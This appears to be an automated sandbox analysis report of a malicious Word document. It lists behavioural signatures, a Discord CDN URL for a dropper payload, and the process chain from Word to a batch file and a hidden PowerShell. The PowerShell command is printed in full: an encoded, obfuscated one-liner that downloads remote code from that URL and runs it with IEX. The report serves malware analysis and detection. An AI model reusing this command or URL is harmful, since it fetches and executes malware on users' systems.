Analysis
- max time kernel
101s - max time network
133s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
05/04/2024, 17:39
General
- Target da6419e4d4e4528990898bcfdaa85e01_JaffaCakes118.doc
- Size 31KB
- Sample240405-v8n7baaf67
- SHA256 ad0972d2a239b3ba4cbe61079c530624e16e8e57159ce21796b3e711888c997d
Malware Config
Extracted
-
ps1
-
exe.dropper
https://cdn.discordapp.com/attachments/851105085270523917/895674622702399538/Server.txt
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\da6419e4d4e4528990898bcfdaa85e01_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\zexo.bat" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoweRSheLL.eXe -executIonPOLIcY ByPaSs -nOProfILe -WIndoWSTYLe HiDdeN -E JABTAFoAWABEAEMARgBWAEcAQgBIAE4ASgBTAEQARgBHAEgAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwA4ADUAMQAxADAANQAwADgANQAyADcAMAA1ADIAMwA5ADEANwAvADgAOQA1ADYANwA0ADYAMgAyADcAMAAyADMAOQA5ADUAMwA4AC8AUwBlAHIAdgBlAHIALgB0AHgAdAAnADsADQAKACQARQBEAFIARgBHAEgATgBKAE0ASwBEAEUARgBHAEgASgAgAD0AIAAnAG4ARQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAEUAYgBDACsAKwArACsAKwArACsAKwArACsAKwArACsAKwArACsAVAAnAC4AUgBlAHAAbABhAGMAZQAoACcALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAnACwAJwB0AC4AVwAnACkALgBSAGUAcABsAGEAYwBlACgAJwArACsAKwArACsAKwArACsAKwArACsAKwArACsAKwArACcALAAnAGwASQBFAE4AJwApADsADQAKACQAUwBYAEQAQwBGAFYARwBCAEgATgBKAFgARABDAEYAVgBHAEIASABKAEsAIAA9ACAAJwBEAE8AKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgBhAEQAUwBUADwAPAA8ADwAPAA8ADwAPAA8AD4APgA+AD4APgA+AD4APgA+AD4APgBHACcALgBSAGUAcABsAGEAYwBlACgAJwAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACcALAAnAFcAbgBMAG8AJwApAC4AUgBlAHAAbABhAGMAZQAoACcAPAA8ADwAPAA8ADwAPAA8ADwAPgA+AD4APgA+AD4APgA+AD4APgA+ACcALAAnAHIASQBuACcAKQA7AA0ACgAkAFMAVwBYAEQARQBDAFIARgBHAFkASABVAEoASQBTAEQARgBWAEcASABKACAAPQAnAEkAYABFAFgAKABuAGAALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQBgAGMAYABUACAAJABFAEQAUgBGAEcASABOAEoATQBLAEQAPAA8ADwAPAA8ADwAPAA8ADwAPAA8ADwAPAA8AD4APgA+AD4APgA+AD4APgA+AD4APgA+AD4APgBHAEIASABOAEoAUwBEAEYARwBIACkAJwAuAFIAZQBwAGwAYQBjAGUAKAAnAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0AJwAsACcAZQBgAFcAYAAtAE8AYgBqAGAARQAnACkALgBSAGUAcABsAGEAYwBlACgAJwA8ADwAPAA8ADwAPAA8ADwAPAA8ADwAPAA8ADwAPgA+AD4APgA+AD4APgA+AD4APgA+AD4APgA+ACcALAAnAEUARgBHAEgASgApAC4AJABTAFgARABDAEYAVgBHAEIASABOAEoAWABEAEMARgBWAEcAQgBIAEoASwAoACQAUwBaAFgARABDAEYAVgAnACkAOwANAAoAJgAoACcASQAnACsAJwBFAFgAJwApACgAJABTAFcAWABEAEUAQwBSAEYARwBZAEgAVQBKAEkAUwBEAEYAVgBHAEgASgAgAC0ASgBvAGkAbgAgACcAJwApAHwAJgAoACcASQAnACsAJwBFAFgAJwApADsA"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_vb3vkmp5.nbc.ps1
zexo.bat
memory/4160-23-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-4-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-3-0x00007FF89BEB0000-0x00007FF89BEC0000-memory.dmp
memory/4160-6-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-5-0x00007FF89BEB0000-0x00007FF89BEC0000-memory.dmp
memory/4160-9-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-8-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-7-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-10-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-11-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-12-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-14-0x00007FF899550000-0x00007FF899560000-memory.dmp
memory/4160-13-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-15-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-16-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-17-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-18-0x00007FF899550000-0x00007FF899560000-memory.dmp
memory/4160-20-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-19-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-22-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-33-0x000001D9E9770000-0x000001D9EA740000-memory.dmp
memory/4160-0-0x00007FF89BEB0000-0x00007FF89BEC0000-memory.dmp
memory/4160-21-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-37-0x000001D9E9770000-0x000001D9EA740000-memory.dmp
memory/4160-44-0x000001D9E9770000-0x000001D9EA740000-memory.dmp
memory/4160-2-0x00007FF89BEB0000-0x00007FF89BEC0000-memory.dmp
memory/4160-96-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-97-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-1-0x00007FF89BEB0000-0x00007FF89BEC0000-memory.dmp
memory/4160-92-0x00007FF89BEB0000-0x00007FF89BEC0000-memory.dmp
memory/4160-93-0x00007FF89BEB0000-0x00007FF89BEC0000-memory.dmp
memory/4160-94-0x00007FF89BEB0000-0x00007FF89BEC0000-memory.dmp
memory/4160-95-0x00007FF89BEB0000-0x00007FF89BEC0000-memory.dmp
memory/4160-66-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-70-0x00007FF8DBE30000-0x00007FF8DC025000-memory.dmp
memory/4160-71-0x000001D9E9770000-0x000001D9EA740000-memory.dmp
memory/4160-72-0x000001D9E9770000-0x000001D9EA740000-memory.dmp
memory/4160-73-0x000001D9E9770000-0x000001D9EA740000-memory.dmp
memory/5140-62-0x00007FF8B01F0000-0x00007FF8B0CB1000-memory.dmp
memory/5140-59-0x000002AD278A0000-0x000002AD278B0000-memory.dmp
memory/5140-58-0x000002AD278A0000-0x000002AD278B0000-memory.dmp
memory/5140-57-0x000002AD278A0000-0x000002AD278B0000-memory.dmp
memory/5140-51-0x00007FF8B01F0000-0x00007FF8B0CB1000-memory.dmp
memory/5140-52-0x000002AD27830000-0x000002AD27852000-memory.dmp